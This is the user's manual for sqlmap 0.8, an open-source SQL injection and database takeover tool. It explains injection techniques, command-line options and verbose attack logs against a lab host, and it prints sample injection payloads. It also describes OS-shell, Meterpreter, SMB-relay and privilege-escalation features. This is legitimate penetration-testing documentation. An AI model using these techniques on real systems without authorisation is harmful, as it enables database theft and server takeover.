sqlmap user's manual

by Bernardo Damele A. G. , Miroslav Stampar version 0.8, March 14, 2010

This document is the user's manual to use sqlmap . Check the project homepage for the latest version.

Contents

1 Introduction

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of back-end database servers. It comes with a broad range of features lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

1.1 Requirements

sqlmap is developed in Python , a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system. It only requires the Python interpreter version equal or

above to **2.5**. The interpreter is freely downloadable from its official site . To make it even easier, many GNU/Linux distributions come out of the box with Python interpreter installed and other Unices and Mac OSX too provide it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too.

sqlmap relies on the Metasploit Framework for some of its post-exploitation takeover features. You need to grab a copy of it from the download page. The required version is **3.3.3** or above. However, it is recommended to use the Metasploit latest development version from the Subversion repository .

If you plan to attack a web application behind NTLM authentication or use the sqlmap update functionality you need to install respectively python-ntlm and python-svn libraries.

Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline library to be able to take advantage of the sqlmap TAB completion and history support functionalities in the SQL shell and OS shell. Note that these functionalities are available natively by Python standard readline library on other operating systems.

You can also choose to install Psyco library to speed up the sqlmap algorithmic operations.

1.2 Scenario

Let's say that you are auditing a web application and found a web page that accepts dynamic user-provided values on `GET` or `POST` parameters or HTTP `Cookie` values or HTTP `User-Agent` header value. You now want to test if these are affected by a SQL injection vulnerability, and if so, exploit them to retrieve as much information as possible out of the web application's back-end database management system or even be able to access the underlying operating system.

Consider that the target url is:

```
http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
```

Assume that:

```
http://172.16.213.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
```

is the same page as the original one and:

```
http://172.16.213.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
```

differs from the original one, it means that you are in front of a SQL injection vulnerability in the `id GET` parameter of the `index.php` web application page which means that no IDS/IPS, no web application firewall, no parameters' value sanitization is performed on the server-side.

This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The Open Web Application Security Project rated on 2010 in their OWASP Top Ten survey this vulnerability as the most common and important web application vulnerability along with other injection flaws.

Back to the scenario, probably the SQL `SELECT` statement into `get_int.php` has a syntax similar to the following SQL query, in pseudo PHP code:

```
$query = "SELECT [column(s) name] FROM [table name] WHERE id=" .  $_REQUEST['id'];
```

As you can see, appending any other syntatically valid SQL condition after a value for `id` such condition will take place when the web application passes the query to the back-end database management system that executes it, that is why the condition `id=1 AND 1=1` is valid (*True*) and returns the same page as the original one, with the same content and without showing any SQL error message.

Moreover, in this simple and easy to inject scenario it would be also possible to append, not just one or more valid SQL condition(s), but also stacked SQL queries, for instance something like `[...]&id=1; ANOTHER SQL QUERY#` if the web application technology supports *stacked queries*, also known as *multiple statements*.

Now that you found this SQL injection vulnerable parameter, you can exploit it by manipulating the `id` parameter value in the HTTP request.

There exist many resources on the Net explaining in depth how to prevent, how to detect and how to exploit SQL injection vulnerabilities in web application and it is recommended to read them if you are not familiar with the issue before going ahead with sqlmap.

Passing the original address, `http://172.16.213.131/sqlmap/mysql/get_int.php?id=1` to sqlmap, the tool will automatically:

- Identify the vulnerable parameter(s) (`id` in this scenario);
- Depending on the user's options, fingerprint, enumerate, takeover the database server.

1.3 Techniques

sqlmap implements three techniques to exploit a SQL injection vulnerability:

- **Inferential blind SQL injection**, also known as **boolean based blind SQL injection**: sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a `SELECT` sub-statement, or any other SQL statement whose the user want to retrieve the output. For each HTTP response, by making a comparison based upon HTML page content hashes, or string matches, with the original request, the tool determines the output value of the statement character by character. The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each output character with at maximum seven HTTP requests. This is sqlmap default SQL injection technique.
- **UNION query (inband) SQL injection**, also known as **full UNION query SQL injection**: sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string starting with a `UNION ALL SELECT`. This techique is useful if the web application page passes the output of the `SELECT` statement to a `for` cycle, or similar, so that each line of the query output is printed on the page content. sqlmap is also able to exploit **partial (single entry) UNION query SQL injection** vulnerabilities which occur when the output of the statement is not cycled in a for construct whereas only the first entry output is displayed. This technique is much faster if the target url is affected by because in a single HTTP response it returns the whole query output or a entry per each response within the page content. This SQL injection technique is an alternative to the first one.
- **Batched (stacked) queries support**, also known as **multiple statements support**: sqlmap tests if the web application supports stacked queries then, in case it does support, it appends to the affected parameter in the HTTP request, a semi-colon (`;`) followed by the SQL statement to be executed. This technique is useful to run SQL statements other than `SELECT` like, for instance, *data definition* or *data manipulation* statements possibly leading to file system read and write access and operating system command execution depending on the underlying back-end database management system and the session user privileges.

1.4 Demo

You can watch several demo videos, they are hosted on YouTube and linked from here .

2 Features

Features implemented in sqlmap include:

2.1 Generic features

- Full support for **MySQL**, **Oracle**, **PostgreSQL** and **Microsoft SQL Server** back-end database management systems. Besides these four database management systems software, sqlmap can also identify Microsoft Access, DB2, Informix, Sybase and Interbase.
- Full support for three SQL injection techniques: **inferential blind SQL injection**, **UNION query (inband) SQL injection** and **batched queries support**. sqlmap can also test for **time based blind SQL injection**.
- It is possible to provide a single target URL, get the list of targets from Burp proxy requests log file or WebScarab proxy `conversations/` folder, get the whole HTTP request from a text file or get the list of targets by providing sqlmap with a Google dork which queries Google search engine and parses its results page. You can also define a regular-expression based scope that is used to identify which of the parsed addresses to test.
- Automatically tests all provided **GET** parameters, **POST** parameters, HTTP **Cookie** header values and HTTP **User-Agent** header value to find the dynamic ones, which means those that vary the HTTP response page content. On the dynamic ones sqlmap automatically tests and detects the ones affected by SQL injection. Each dynamic parameter is tested for *numeric*, *single quoted string*, *double quoted string* and all of these three data-types with zero to two parenthesis to correctly detect which is the `SELECT` statement syntax to perform further injections with. It is also possible to specify the only parameter(s) that you want to perform tests and use for injection on.
- Option to specify the **maximum number of concurrent HTTP requests** to speed up the inferential blind SQL injection algorithms (multi-threading). It is also possible to specify the number of seconds to wait between each HTTP request.
- **HTTP `Cookie` header** string support, useful when the web application requires authentication based upon cookies and you have such data or in case you just want to test for and exploit SQL injection on such header. You can also specify to always URL-encode the Cookie header.
- Automatically handle **HTTP `Set-Cookie` header** from the application, re-establishing of the session if it expires. Test and exploit on these values is supported too. You can also force to ignore any `Set-Cookie` header.
- **HTTP Basic, Digest, NTLM and Certificate authentications** support.
- **Anonymous HTTP proxy** support to pass by the requests to the target application that works also with HTTPS requests.
- Options to fake the **HTTP `Referer` header** value and the **HTTP `User-Agent` header** value specified by user or randomly selected from a text file.
- Support to increase the **verbosity level of output messages**: there exist **six levels**. The default level is **1** in which information, warnings, errors and tracebacks (if any occur) will be shown.

- Granularity in the user's options.
- **Estimated time of arrival** support for each query, updated in real time while fetching the information to give to the user an overview on how long it will take to retrieve the output.
- Automatic support to save the session (queries and their output, even if partially retrieved) in real time while fetching the data on a text file and **resume the injection from this file in a second time**.
- Support to read options from a configuration INI file rather than specify each time all of the options on the command line. Support also to save command line options on a configuration INI file.
- Option to update sqlmap as a whole to the latest development version from the Subversion repository.
- Integration with other IT security open source projects, Metasploit and w3af .

2.2 Fingerprint and enumeration features

- **Extensive back-end database software version and underlying operating system fingerprint** based upon inband error messages , banner parsing , functions output comparison and specific features such as MySQL comment injection. It is also possible to force the back-end database management system name if you already know it.
- Basic web server software and web application technology fingerprint.
- Support to retrieve the DBMS **banner**, **session user** and **current database** information. The tool can also check if the session user is a database administrator (DBA).
- Support to enumerate **database users**, **users' password hashes**, **users' privileges**, **databases**, **tables** and **columns**.
- Support to **dump database tables** as a whole or a range of entries as per user's choice. The user can also choose to dump only specific column(s).
- Support to automatically dump **all** databases' schemas and entries. It is possibly to exclude from the dump the system databases.
- Support to enumerate and dump **all databases' tables containing user provided column(s)**. Useful to identify for instance tables containing custom application credentials.
- Support to **run custom SQL statement(s)** as in an interactive SQL client connecting to the back-end database. sqlmap automatically dissects the provided statement, determines which technique to use to inject it and how to pack the SQL payload accordingly.

2.3 Takeover features

Some of these techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database .

- Support to **inject custom user-defined functions**: the user can compile shared object then use sqlmap to create within the back-end DBMS user-defined functions out of the compiled shared object file. These UDFs can then be executed, and optionally removed, via sqlmap too.
- Support to **read and upload any file** from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.

- Support to **execute arbitrary commands and retrieve their standard output** on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  - On MySQL and PostgreSQL via user-defined function injection and execution.
  - On Microsoft SQL Server via `xp_cmdshell()` stored procedure. Also, the stored procedure is re-enabled if disabled or created from scratch if removed.
- Support to **establish an out-of-band stateful TCP connection between the user machine and the database server** underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice. sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:
  - Database **in-memory execution of the Metasploit's shellcode** via sqlmap own user-defined function `sys_bineval()`. Supported on MySQL and PostgreSQL.
  - Upload and execution of a Metasploit's **stand-alone payload stager** via sqlmap own user-defined function `sys_exec()` on MySQL and PostgreSQL or via `xp_cmdshell()` on Microsoft SQL Server.
  - Execution of Metasploit's shellcode by performing a **SMB reflection attack** (MS08-068) with a UNC path request from the database server to the user's machine where the Metasploit `smb_relay` server exploit runs.
  - Database in-memory execution of the Metasploit's shellcode by exploiting **Microsoft SQL Server 2000 and 2005** `sp_replwritetovarbin` **stored procedure heap-based buffer overflow** (MS09-004) with automatic DEP bypass.
- Support for **database process' user privilege escalation** via Metasploit's `getsystem` command which include, among others, the kitrap0d technique (MS10-015) or via Windows Access Tokens kidnapping by using either Meterpreter's `incognito` extension or `Churrasco` (MS09-012) stand-alone executable as per user's choice.
- Support to access (read/add/delete) Windows registry hives.

3 Download and update

sqlmap can be downloaded from its SourceForge File List page . It is available in various formats:

- Source gzip compressed operating system independent.
- Source bzip2 compressed operating system independent.
- Source zip compressed operating system independent.
- DEB binary package architecture independent for Debian and any other Debian derivated GNU/Linux distribution.
- RPM binary package architecture independent for Fedora and any other operating system that can install RPM packages.
- Portable executable for Windows that **does not require the Python interpreter** to be installed on the operating system.

You can also checkout the latest development version from the sqlmap Subversion repository:

```
$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
```

If you download a source package (gzip, bzip2 or zip) or sqlmap from the Subversion repository, you can update it to the latest development version anytime by running:

```
$ python sqlmap.py --update
```

Or:

```
$ svn update
```

Viceversa if you download a binary package (deb, rpm or exe), the update feature is disabled.

There are some differences between the packages:

- The source packages (gzip, bzip2 and zip) have all features. They contains the working copy from the Subversion repository updated at the time the sqlmap new version has been released.
- The Debian and Red Hat installation packages (deb and rpm) are compliant with the Linux distributions' packaging guidelines. This implies that they do not support the update features and do not include third-party softwares Churrasco (used to perform Windows token kidnapping, see below) and UPX (used to pack the Metasploit payload stager in some cases, see below).
- The Windows binary package (exe) can't update itself and does not support the takeover out-of-band features because they rely on Metasploit's `msfcli` which is not available for Windows.

It is therefore recommended to download any of the source packages and run it either from a shell like Bash on Unix and Mac OSX or from Cygwin on Windows.

4 License and copyright

sqlmap is released under the terms of the General Public License v2 . sqlmap is copyrighted by Bernardo Damele A. G. .

5 Usage

```
$ python sqlmap.py -h

    sqlmap/0.8 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

Usage: sqlmap.py [options]

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -v VERBOSE            Verbosity level: 0-5 (default 1)

  Target:
    At least one of these options has to be specified to set the source to
    get target urls from.
```

```
  -u URL, --url=URL   Target url
  -l LIST             Parse targets from Burp or WebScarab proxy logs
  -r REQUESTFILE      Load HTTP request from a file
  -g GOOGLEDORK       Process Google dork results as target urls
  -c CONFIGFILE       Load options from a configuration INI file

Request:
  These options can be used to specify how to connect to the target url.

  --method=METHOD     HTTP method, GET or POST (default GET)
  --data=DATA         Data string to be sent through POST
  --cookie=COOKIE     HTTP Cookie header
  --cookie-urlencode  URL Encode generated cookie injections
  --drop-set-cookie   Ignore Set-Cookie header from response
  --user-agent=AGENT  HTTP User-Agent header
  -a USERAGENTSFILE   Load a random HTTP User-Agent header from file
  --referer=REFERER   HTTP Referer header
  --headers=HEADERS   Extra HTTP headers newline separated
  --auth-type=ATYPE   HTTP authentication type (Basic, Digest or NTLM)
  --auth-cred=ACRED   HTTP authentication credentials (name:password)
  --auth-cert=ACERT   HTTP authentication certificate (key_file,cert_file)
  --proxy=PROXY       Use a HTTP proxy to connect to the target url
  --ignore-proxy      Ignore system default HTTP proxy
  --threads=THREADS   Maximum number of concurrent HTTP requests (default 1)
  --delay=DELAY       Delay in seconds between each HTTP request
  --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
  --retries=RETRIES   Retries when the connection timeouts (default 3)
  --scope=SCOPE       Regexp to filter targets from provided proxy log

Injection:
  These options can be used to specify which parameters to test for,
  provide custom injection payloads and how to parse and compare HTTP
  responses page content when using the blind SQL injection technique.

  -p TESTPARAMETER    Testable parameter(s)
  --dbms=DBMS         Force back-end DBMS to this value
  --os=OS             Force back-end DBMS operating system to this value
  --prefix=PREFIX     Injection payload prefix string
  --postfix=POSTFIX   Injection payload postfix string
  --string=STRING     String to match in page when the query is valid
  --regexp=REGEXP     Regexp to match in page when the query is valid
  --excl-str=ESTRING  String to be excluded before comparing page contents
  --excl-reg=EREGEXP  Matches to be excluded before comparing page contents

Techniques:
  These options can be used to test for specific SQL injection technique
  or to use one of them to exploit the affected parameter(s) rather than
  using the default blind SQL injection technique.

  --stacked-test      Test for stacked queries (multiple statements) support
  --time-test         Test for time based blind SQL injection
  --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
  --union-test        Test for UNION query (inband) SQL injection
  --union-tech=UTECH  Technique to test for UNION query SQL injection
```

```
  --union-use         Use the UNION query (inband) SQL injection to retrieve
                      the queries output. No need to go blind

Fingerprint:
  -f, --fingerprint   Perform an extensive DBMS version fingerprint

Enumeration:
  These options can be used to enumerate the back-end database
  management system information, structure and data contained in the
  tables. Moreover you can run your own SQL statements.

  -b, --banner        Retrieve DBMS banner
  --current-user      Retrieve DBMS current user
  --current-db        Retrieve DBMS current database
  --is-dba            Detect if the DBMS current user is DBA
  --users             Enumerate DBMS users
  --passwords         Enumerate DBMS users password hashes
  --privileges        Enumerate DBMS users privileges
  --dbs               Enumerate DBMS databases
  --tables            Enumerate DBMS database tables
  --columns           Enumerate DBMS database table columns
  --dump              Dump DBMS database table entries
  --dump-all          Dump all DBMS databases tables entries
  -D DB               DBMS database to enumerate
  -T TBL              DBMS database table to enumerate
  -C COL              DBMS database table column to enumerate
  -U USER             DBMS user to enumerate
  --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
  --start=LIMITSTART  First query output entry to retrieve
  --stop=LIMITSTOP    Last query output entry to retrieve
  --first=FIRSTCHAR   First query output word character to retrieve
  --last=LASTCHAR     Last query output word character to retrieve
  --sql-query=QUERY   SQL statement to be executed
  --sql-shell         Prompt for an interactive SQL shell

User-defined function injection:
  These options can be used to create custom user-defined functions.

  --udf-inject        Inject custom user-defined functions
  --shared-lib=SHLIB  Local path of the shared library

File system access:
  These options can be used to access the back-end database management
  system underlying file system.

  --read-file=RFILE   Read a file from the back-end DBMS file system
  --write-file=WFILE  Write a local file on the back-end DBMS file system
  --dest-file=DFILE   Back-end DBMS absolute filepath to write to

Operating system access:
  These options can be used to access the back-end database management
  system underlying operating system.

  --os-cmd=OSCMD      Execute an operating system command
  --os-shell          Prompt for an interactive operating system shell
```

```
  --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
  --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
  --os-bof            Stored procedure buffer overflow exploitation
  --priv-esc          User priv escalation by abusing Windows access tokens
  --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed
  --tmp-path=TMPPATH  Remote absolute path of temporary files directory

Windows registry access:
  These options can be used to access the back-end database management
  system Windows registry.

  --reg-read          Read a Windows registry key value
  --reg-add           Write a Windows registry key value data
  --reg-del           Delete a Windows registry key value
  --reg-key=REGKEY    Windows registry key
  --reg-value=REGVAL  Windows registry key value
  --reg-data=REGDATA  Windows registry key value data
  --reg-type=REGTYPE  Windows registry key value type

Miscellaneous:
  -s SESSIONFILE      Save and resume all data retrieved on a session file
  --flush-session     Flush session file for current target
  --eta               Display for each output the estimated time of arrival
  --gpage=GOOGLEPAGE  Use google dork results from specified page number
  --update            Update sqlmap
  --save              Save options on a configuration INI file
  --batch             Never ask for user input, use the default behaviour
  --cleanup           Clean up the DBMS by sqlmap specific UDF and tables
```

5.1 Output verbosity

Option: `-v`

Verbose options can be used to set the verbosity level of output messages. There exist six levels. The default level is **1** in which information, warnings, errors and tracebacks (if any occur) will be shown. Level **2** shows also debug messages, level **3** shows also full HTTP requests, level **4** shows also HTTP responses headers and level **5** shows also HTTP responses page content.

Example on a **MySQL 5.0.67** target (verbosity level **1**):

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1

[hh:mm:58] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
[hh:mm:58] [INFO] testing connection to the target url
[hh:mm:58] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:59] [INFO] url is stable
[hh:mm:59] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:59] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:59] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:59] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:59] [INFO] GET parameter 'id' is dynamic
[hh:mm:59] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:59] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:59] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:59] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
```

```
[hh:mm:59] [INFO] testing for parenthesis on injectable parameter
[hh:mm:59] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:59] [INFO] testing MySQL
[hh:mm:59] [INFO] confirming MySQL
[hh:mm:59] [INFO] retrieved: 0
[hh:mm:59] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
```

Example on a **MySQL 5.0.67** target (verbosity level **2**):

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 2

[hh:mm:22] [DEBUG] initializing the configuration
[hh:mm:22] [DEBUG] initializing the knowledge base
[hh:mm:22] [DEBUG] cleaning up configuration parameters
[hh:mm:22] [DEBUG] setting the HTTP timeout
[hh:mm:22] [DEBUG] setting the HTTP method to GET
[hh:mm:22] [DEBUG] creating HTTP requests opener object
[hh:mm:22] [DEBUG] parsing XML queries file
[hh:mm:22] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:23] [INFO] url is stable
[hh:mm:23] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:23] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:23] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:23] [DEBUG] setting match ratio to 0.743
[hh:mm:23] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:23] [INFO] GET parameter 'id' is dynamic
[hh:mm:23] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:23] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:23] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:23] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:23] [INFO] testing for parenthesis on injectable parameter
[hh:mm:23] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:23] [INFO] testing MySQL
[hh:mm:23] [INFO] confirming MySQL
[hh:mm:23] [DEBUG] query: SELECT 2 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:23] [INFO] retrieved: 2
[hh:mm:23] [DEBUG] performed 7 queries in 0 seconds
[hh:mm:23] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
```

Example on a **MySQL 5.0.67** target (verbosity level **3**):

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 3

[hh:mm:53] [DEBUG] initializing the configuration
[hh:mm:53] [DEBUG] initializing the knowledge base
[hh:mm:53] [DEBUG] cleaning up configuration parameters
```

```
[hh:mm:53] [DEBUG] setting the HTTP timeout
[hh:mm:53] [DEBUG] setting the HTTP method to GET
[hh:mm:53] [DEBUG] creating HTTP requests opener object
[hh:mm:53] [DEBUG] parsing XML queries file
[hh:mm:53] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
[hh:mm:53] [INFO] testing connection to the target url
[hh:mm:53] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.
User-agent: sqlmap/0.8
Connection: close
[...]
[hh:mm:54] [INFO] testing MySQL
[hh:mm:54] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20CONNECTION_ID%28%29=CONNECTION_ID%28%29%20AND%202385=2385 HTTP/
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.
User-agent: sqlmap/0.8
Connection: close
[...]
```

Example on a **MySQL 5.0.67** target (verbosity level **4**):

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 4

[...]
[hh:mm:20] [DEBUG] initializing the configuration
[hh:mm:20] [DEBUG] initializing the knowledge base
[hh:mm:20] [DEBUG] cleaning up configuration parameters
[hh:mm:20] [DEBUG] setting the HTTP timeout
[hh:mm:20] [DEBUG] setting the HTTP method to GET
[hh:mm:20] [DEBUG] creating HTTP requests opener object
[hh:mm:20] [DEBUG] parsing XML queries file
[hh:mm:20] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
[hh:mm:20] [INFO] testing connection to the target url
[hh:mm:20] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.
User-agent: sqlmap/0.8
Connection: close

[hh:mm:20] [TRAFFIC IN] HTTP response (OK - 200):
Date: Sat, 20 Feb 2010 17:43:00 GMT
Server: Apache/2.2.9
X-Powered-By: PHP/5.2.6-1+lenny4
Vary: Accept-Encoding
Content-Length: 127
```

```
Connection: close
Content-Type: text/html
[...]
```

Example on a **MySQL 5.0.67** target (verbosity level **5**):

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 5

[hh:mm:47] [DEBUG] initializing the configuration
[hh:mm:47] [DEBUG] initializing the knowledge base
[hh:mm:47] [DEBUG] cleaning up configuration parameters
[hh:mm:47] [DEBUG] setting the HTTP timeout
[hh:mm:47] [DEBUG] setting the HTTP method to GET
[hh:mm:47] [DEBUG] creating HTTP requests opener object
[hh:mm:47] [DEBUG] parsing XML queries file
[hh:mm:47] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
[hh:mm:47] [INFO] testing connection to the target url
[hh:mm:47] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.
User-agent: sqlmap/0.8
Connection: close

[hh:mm:47] [TRAFFIC IN] HTTP response (OK - 200):
Date: Sat, 20 Feb 2010 17:44:27 GMT
Server: Apache/2.2.9
X-Powered-By: PHP/5.2.6-1+lenny4
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html>
[...]
```

5.2 Target

At least one of these options has to be specified to set the source to get target addresses from.

5.2.1 Target URL

Option: `-u` or `--url`

To run sqlmap against a single target URL.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1"

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5
```

5.2.2 Parse targets from Burp or WebScarab proxy logs

Option: `-l`

Rather than providing a single target URL, it is possible to test and inject on HTTP requests proxied through Burp proxy or WebScarab proxy .

Example passing to sqlmap a WebScarab proxy `conversations/` folder:

```
$ python sqlmap.py -l /tmp/webscarab.log/conversations/

[hh:mm:43] [INFO] sqlmap parsed 27 testable requests from the targets list
[hh:mm:43] [INFO] sqlmap got a total of 27 targets
[hh:mm:43] [INPUT] url 1:
GET http://172.16.213.131/phpmyadmin/navigation.php?db=test&token=60747016432606019619a
c58b3780562
Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3; phpMyAdmin=366c9c9b329a98eabb4b708c2df8b
d7d392eb151; pmaCookieVer=4; pmaPass-1=uH9%2Fz5%2FsB%2FM%3D; pmaUser-1=pInZx5iWPrA%3D;
pma_charset=iso-8859-1; pma_collation_connection=utf8_unicode_ci; pma_fontsize=deleted;
pma_lang=en-utf-8; pma_mcrypt_iv=o6Mwtqw6c0c%3D; pma_theme=deleted
do you want to test this url? [Y/n/q] n
[hh:mm:46] [INPUT] url 2:
GET http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3
do you want to test this url? [Y/n/q] y
[hh:mm:49] [INFO] testing url http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
[hh:mm:49] [INFO] testing connection to the target url
[hh:mm:49] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:50] [INFO] url is stable
[hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:50] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:50] [INFO] testing if Cookie parameter 'PPA_ID' is dynamic
[hh:mm:50] [WARNING] Cookie parameter 'PPA_ID' is not dynamic
[hh:mm:50] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:50] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:50] [INFO] GET parameter 'id' is dynamic
[hh:mm:50] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:50] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:50] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:50] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:50] [INPUT] do you want to exploit this SQL injection? [Y/n] y
[hh:mm:29] [INFO] testing for parenthesis on injectable parameter
[hh:mm:29] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:29] [INFO] testing MySQL
[hh:mm:29] [INFO] retrieved: 99
[hh:mm:29] [INFO] confirming MySQL
[hh:mm:29] [INFO] retrieved: 1
[hh:mm:29] [INFO] retrieved: 9
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
```

```
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
[...]
```

5.2.3 Load HTTP request from a file

Option: `-r`

One of the possibilities of sqlmap is loading of complete HTTP request packet stored in textual file. That way you can skip usage of bunch of other options.

Sample content of a HTTP request file:

```
POST /sqlmap/mysql/post_int.php HTTP/1.1
Host: 172.16.213.131
User-Agent: Mozilla/4.0

id=1
```

Example usage:

```
$ python sqlmap.py -r request.txt

[...]
[hh:mm:27] [INFO] parsing HTTP request from 'request.txt'
[...]
[hh:mm:21] [INFO] testing if POST parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that POST parameter 'id' is dynamic
[hh:mm:22] [INFO] POST parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on POST parameter 'id' with 0 parenthesis
[hh:mm:22] [INFO] testing unescaped numeric injection on POST parameter 'id'
[hh:mm:22] [INFO] confirming unescaped numeric injection on POST parameter 'id'
[hh:mm:22] [INFO] POST parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:22] [INFO] testing MySQL
[hh:mm:22] [INFO] confirming MySQL
[hh:mm:22] [INFO] retrieved: 3
[hh:mm:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
